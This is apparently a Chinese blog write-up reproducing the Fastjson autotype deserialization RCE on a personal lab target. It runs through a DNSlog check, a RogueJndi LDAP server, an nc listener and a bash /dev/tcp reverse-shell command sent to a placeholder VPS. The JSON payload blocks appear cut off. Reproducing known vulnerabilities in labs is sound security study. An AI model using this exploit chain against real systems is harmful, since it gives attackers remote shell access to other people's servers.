fastjson RCE 复现
简介
Fastjson提供autotype功能,允许用户在反序列化数据中通过 @type 指定反序列化的类型,其次Fastjson自定义的反序列化会调用指定类中的setter方法和部分getter方法。
当组件开启autotype并且反序列化不可信的数据时,攻击者构造的数据(恶意代码)会进入特定类的setter或getter方法中,可能会被恶意利用。
- 影响版本
Fastjson1.2.47以及之前的版本
开始复现
本次复现利用场景为个人靶场,请勿非法渗透
首先打开页面
直接Post Payload如下:
- fastjson<=1.2.24
1 | { |
- fastjson<1.2.48
1 | { |
先弹个dnslog看看能不能返回请求
OK,dnslog 有请求确认漏洞存在,现在使用JNDI工具直接反弹shell
我这里用的JNDI
工具是 RogueJndi
,可以点击 这里下载
执行 java -jar RogueJndi.jar -h
可以查看帮助
准备 弹shell 的 payload:
bash -i >& /dev/tcp/127.0.0.1/5300 0>&1
进行一下base64编码:
编码地址:https://www.safeinfo.me/runtime-exec-payloads/
服务器开启NC监听:
nc -lvnp 5300
用JNDI工具执行反弹shell命令:
java -jar RogueJndi-1.1.jar -n "vpsip" -c "编码后反弹shell命令"
复制 ldap://vpsip:1389/o=reference
填写到
点击发送,返回查看 NC 监听结果
反弹SHELL成功。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Caps!
评论